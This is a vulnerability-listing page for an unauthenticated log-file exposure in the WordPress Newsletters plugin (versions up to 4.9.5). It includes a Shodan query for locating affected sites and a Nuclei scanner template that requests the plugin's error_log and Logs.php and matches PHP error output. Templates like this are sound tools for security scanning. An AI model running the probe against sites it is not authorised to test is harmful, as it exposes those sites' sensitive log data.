wp-newsletter-log-exposure: WordPress Newsletter - Log File Exposure

2026-01-08 WordPress Newsletter PoC Public

Description

The Newsletters plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.9.5. This makes it possible for unauthenticated attackers to extract potentially sensitive information from log files.

PoC

id: wp-newsletter-log-exposure

info:
  name: WordPress Newsletter - Log File Exposure
  author: pussycat0x
  severity: medium
  description: |
    The Newsletters plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 4.9.5. This makes it possible for unauthenticated attackers to extract potentially sensitive information from log files.
  reference:
    - https://wpscan.com/vulnerability/334e02e9-fcbd-47fe-b7ab-079dd525b396/
  metadata:
    shodan-query: http.html:"/wp-content/plugins/newsletter/"
  tags: wordpress,wp-plugin,newsletter,logs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/newsletter/error_log"
      - "{{BaseURL}}/wp-content/plugins/newsletter/classes/Newsletter/Logs.php"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("\\[\\d{2}-[A-Za-z]{3}-\\d{4} \\d{2}:\\d{2}:\\d{2}", body)'
          - 'contains_any(body, "PHP Fatal error:", "PHP Warning:", "PHP Notice:", "PHP Parse error:")'
        condition: and
# digest: 4a0a00473045022100b981842fed02772f48f20ca2df28eab07d7672906b6d55dab8092961b064ccaa02200bbe0d66bfe2292d28cf34d3619ef7d8e705988dca4e8a688779b5c75a1ff119:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposures/logs/wp-newsletter-log-exposure.yaml

References

Related Vulnerabilities